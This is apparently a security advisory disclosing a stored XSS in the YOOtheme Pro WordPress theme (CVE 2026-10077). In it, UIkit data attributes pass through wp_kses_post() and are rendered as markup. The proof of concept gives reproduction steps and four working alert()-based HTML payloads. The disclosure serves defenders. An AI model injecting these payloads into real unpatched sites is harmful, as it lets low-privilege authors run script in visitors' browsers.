YOOtheme Pro < 5.0.35 – Author+ Stored XSS via UIkit Data Attributes | CVE 2026-10077

Description

The theme does not prevent its bundled front-end framework from treating certain HTML attributes, which are permitted by wp_kses_post(), as markup, allowing users with the Author role to perform Stored Cross-Site Scripting attacks that execute in the browser of any user who views the affected post.

Proof of Concept

Prerequisites: the YOOtheme Pro theme is active (it loads its bundled front-end framework on every front-end page by default). An attacker account with the Author role (which does not have the unfiltered_html capability).

1. Log in as the Author and publish a post whose content is:

<div data-uk-lightbox=""><a data-attrs="onload: alert()" href="https://fastly.picsum.photos/id/979/536/354.jpg">Click Me</a></div>

The content passes through wp_kses_post() unchanged, so the attributes are stored intact.

2. As any visitor (including a logged-out user), open the published post on the front end and click "Click Me". The lightbox opens, the stored attribute is processed as markup, and the injected JavaScript runs in the visitor's session.

Other payloads that also survive wp_kses_post() and execute the same way:

<div data-uk-lightbox=""><a data-caption="&lt;img src=x onerror=alert(document.domain);&gt;">Click Me</a></div>
<a href="#" data-uk-tooltip="&lt;img src=x onerror=alert()&gt;">Hover me</a>
<img src="https://example.com/x.svg" data-uk-svg="">